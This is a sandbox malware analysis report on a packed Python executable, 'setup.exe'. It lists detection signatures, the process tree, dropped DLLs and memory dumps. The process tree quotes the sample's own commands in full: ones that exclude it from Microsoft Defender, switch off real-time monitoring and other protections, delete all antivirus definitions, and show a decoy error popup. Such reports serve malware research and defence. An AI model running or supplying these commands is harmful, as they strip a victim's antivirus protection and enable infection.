Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    11/09/2026, 23:09

General

  • Target
    setup.exe
  • Size 10.5MB
  • Sample260911-25mmmsfp4v
  • SHA256 6f0c412f50e088f3946bf6dab26276b0728cb80b328e1793bd21ffb87faae621
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Loads dropped DLL 19 IoCs
  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • UPX packed file 55 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:264
    • C:\Users\Admin\AppData\Local\Temp\setup.exe
      "C:\Users\Admin\AppData\Local\Temp\setup.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2964
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4128
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3592
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4892
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4552
        • C:\Program Files\Windows Defender\MpCmdRun.exe
          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
          4⤵
          • Deletes Windows Defender Definitions
          PID:4652
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('looks like your operating system is not compatible', 0, 'uh oh!', 0+16);close()""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4444
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('looks like your operating system is not compatible', 0, 'uh oh!', 0+16);close()"
          4⤵
            PID:3448
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2072
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:3784
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3948
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4072
    • C:\Windows\system32\mspaint.exe
      "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\Desktop\SplitMerge.dib"
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:3704
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
      1⤵
        PID:5784

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 30b9b9ac889d22b034605b3fe9aec47c3fe95ac61e11d649ab6fe86285e864e8
            • MD5 SHA1 SHA512 TLSH

            VCRUNTIME140.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\VCRUNTIME140.dll
            • Size 174KB
            • SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
            • MD5 SHA1 SHA512 SSDEEP TLSH

            VCRUNTIME140_1.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\VCRUNTIME140_1.dll
            • Size 48KB
            • SHA256 a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _bz2.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\_bz2.pyd
            • Size 51KB
            • SHA256 f3b6866898dcc0edeb3bad6b935974f059cd2a9254603d1f766d892cb3bdb457
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _ctypes.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\_ctypes.pyd
            • Size 67KB
            • SHA256 f5c39d33d5e626f790e55846021017e8cb06a78315a9b0dcaec96875ea583bdc
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _hashlib.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\_hashlib.pyd
            • Size 38KB
            • SHA256 26d9d20a3c7bbc62b2a430e4df19bd83335b17cda45da4adcac6bc3e00c731f5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _lzma.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\_lzma.pyd
            • Size 88KB
            • SHA256 4341f36a310038d57a789dc16ef7323c9016ed24c954d05f07b1a69ae3aed70d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _queue.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\_queue.pyd
            • Size 28KB
            • SHA256 94c97f4d6e22c1de3c3f2fde590eed1b9a8968e0d094a5d68676ba48a7de6194
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _socket.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\_socket.pyd
            • Size 46KB
            • SHA256 b289c0795f859042c5d9c285d1344f294e1948c7974fe6cab4fbfef8f3dff483
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _sqlite3.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\_sqlite3.pyd
            • Size 61KB
            • SHA256 02cf182b7192f87087ee2db0fc9afe248261de0946888c451dcc5467c4bb323a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _ssl.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\_ssl.pyd
            • Size 69KB
            • SHA256 a8c98340192d0b7c7361796a8368facff0fe0fdca29404fe9505371ca1c47707
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _wmi.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\_wmi.pyd
            • Size 30KB
            • SHA256 06de81ad9c4742f2a63a33bb72f0d5d6950fffe560026d91f12b4e57d246a63c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            _zstd.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\_zstd.pyd
            • Size 176KB
            • SHA256 63953c318a82fe08b727794e6ab2d9e8833f2dd109f6aa65ee4e82c019904b1f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            base_library.zip

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\base_library.zip
            • Size 1.3MB
            • SHA256 9e838aa86ce9ac3c95d5373df18490fb8e3e262c3ddf1df363d74afc54122a6c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            blank.aes

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\blank.aes
            • Size 95KB
            • SHA256 b12841aa125be8208dd028f4123ded9857546abd500336af72197c31f6b863a6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            blank.aes

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\blank.aes
            • Size 95KB
            • SHA256 eb6b161933ec8fd611162c2868a92babb26bc28cb95c8e778bf413fcfe53ca2c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            libcrypto-3.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\libcrypto-3.dll
            • Size 1.6MB
            • SHA256 5fdac609f40e3676cd6e7450f2a440934e47e89be0ee125307488ec647295739
            • MD5 SHA1 SHA512 SSDEEP TLSH

            libffi-8.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\libffi-8.dll
            • Size 29KB
            • SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
            • MD5 SHA1 SHA512 SSDEEP TLSH

            libssl-3.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\libssl-3.dll
            • Size 369KB
            • SHA256 151d841ce73d817ee966a20393f1d4a63197cb2d62ffe6c75aac1674051217d7
            • MD5 SHA1 SHA512 SSDEEP TLSH

            python314.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\python314.dll
            • Size 1.9MB
            • SHA256 d67ddac422054665259870831fb21b7554ce28342a7182577fd023195c18f3c9
            • MD5 SHA1 SHA512 SSDEEP TLSH

            select.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\select.pyd
            • Size 28KB
            • SHA256 c9923469e700f95f4d314912c7490f5192ede75bebd1a617dbea6e203a6f7c65
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Lorem ipsum.txt

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\setuptools\_vendor\jaraco\text\Lorem ipsum.txt
            • Size 1KB
            • SHA256 37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b
            • MD5 SHA1 SHA512 TLSH

            sqlite3.dll

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\sqlite3.dll
            • Size 663KB
            • SHA256 aaf04bf311cd55579c4ffd10a4c81236294534f55b8b42cb7570f21df88742e0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            unicodedata.pyd

            • Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\unicodedata.pyd
            • Size 277KB
            • SHA256 80b2858ad498d4760a96d3f54c134eac7d66b973075ff6b0d996da873414370a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            __PSScriptPolicyTest_cojake10.ocy.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cojake10.ocy.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            memory/2964-50-0x00007FFE90DC0000-0x00007FFE90DCD000-memory.dmp

            memory/2964-42-0x00007FFE92250000-0x00007FFE9226A000-memory.dmp

            memory/2964-71-0x00007FFE8E490000-0x00007FFE8E4C5000-memory.dmp

            memory/2964-70-0x00007FFE88C20000-0x00007FFE88D73000-memory.dmp

            memory/2964-69-0x00007FFE8EC10000-0x00007FFE8EC2A000-memory.dmp

            memory/2964-68-0x00007FFE79BD0000-0x00007FFE7A2DF000-memory.dmp

            memory/2964-61-0x00007FFE79590000-0x00007FFE79BC1000-memory.dmp

            memory/2964-59-0x00007FFE8EC30000-0x00007FFE8EC44000-memory.dmp

            memory/2964-54-0x00007FFE90DB0000-0x00007FFE90DBF000-memory.dmp

            memory/2964-81-0x00007FFE8C180000-0x00007FFE8C1A6000-memory.dmp

            memory/2964-47-0x00007FFE90DD0000-0x00007FFE90E50000-memory.dmp

            memory/2964-36-0x00007FFE90E80000-0x00007FFE90EA9000-memory.dmp

            memory/2964-83-0x00007FFE7D260000-0x00007FFE7D3EA000-memory.dmp

            memory/2964-87-0x00007FFE8BF40000-0x00007FFE8BF4D000-memory.dmp

            memory/2964-39-0x00007FFE94BB0000-0x00007FFE94BBF000-memory.dmp

            memory/2964-86-0x00007FFE90E50000-0x00007FFE90E7C000-memory.dmp

            memory/2964-91-0x00007FFE88B60000-0x00007FFE88C1E000-memory.dmp

            memory/2964-90-0x00007FFE90DD0000-0x00007FFE90E50000-memory.dmp

            memory/2964-30-0x00007FFE79BD0000-0x00007FFE7A2DF000-memory.dmp

            memory/2964-44-0x00007FFE90E50000-0x00007FFE90E7C000-memory.dmp

            memory/2964-106-0x00007FFE90E80000-0x00007FFE90EA9000-memory.dmp

            memory/2964-72-0x00007FFE90E80000-0x00007FFE90EA9000-memory.dmp

            memory/2964-107-0x00007FFE94BB0000-0x00007FFE94BBF000-memory.dmp

            memory/2964-120-0x00007FFE8BF40000-0x00007FFE8BF4D000-memory.dmp

            memory/2964-121-0x00007FFE88B60000-0x00007FFE88C1E000-memory.dmp

            memory/2964-119-0x00007FFE7D260000-0x00007FFE7D3EA000-memory.dmp

            memory/2964-117-0x00007FFE88C20000-0x00007FFE88D73000-memory.dmp

            memory/2964-118-0x00007FFE8C180000-0x00007FFE8C1A6000-memory.dmp

            memory/2964-116-0x00007FFE8E490000-0x00007FFE8E4C5000-memory.dmp

            memory/2964-115-0x00007FFE8EC10000-0x00007FFE8EC2A000-memory.dmp

            memory/2964-114-0x00007FFE79590000-0x00007FFE79BC1000-memory.dmp

            memory/2964-105-0x00007FFE79BD0000-0x00007FFE7A2DF000-memory.dmp

            memory/2964-110-0x00007FFE90DD0000-0x00007FFE90E50000-memory.dmp

            memory/2964-113-0x00007FFE8EC30000-0x00007FFE8EC44000-memory.dmp

            memory/2964-112-0x00007FFE90DB0000-0x00007FFE90DBF000-memory.dmp

            memory/2964-111-0x00007FFE90DC0000-0x00007FFE90DCD000-memory.dmp

            memory/2964-109-0x00007FFE90E50000-0x00007FFE90E7C000-memory.dmp

            memory/2964-108-0x00007FFE92250000-0x00007FFE9226A000-memory.dmp

            memory/3592-104-0x0000017EE0330000-0x0000017EE033A000-memory.dmp

            memory/3592-100-0x0000017EE06A0000-0x0000017EE06BE000-memory.dmp

            memory/3592-101-0x0000017EE06C0000-0x0000017EE0772000-memory.dmp

            memory/4552-94-0x0000029D68520000-0x0000029D68542000-memory.dmp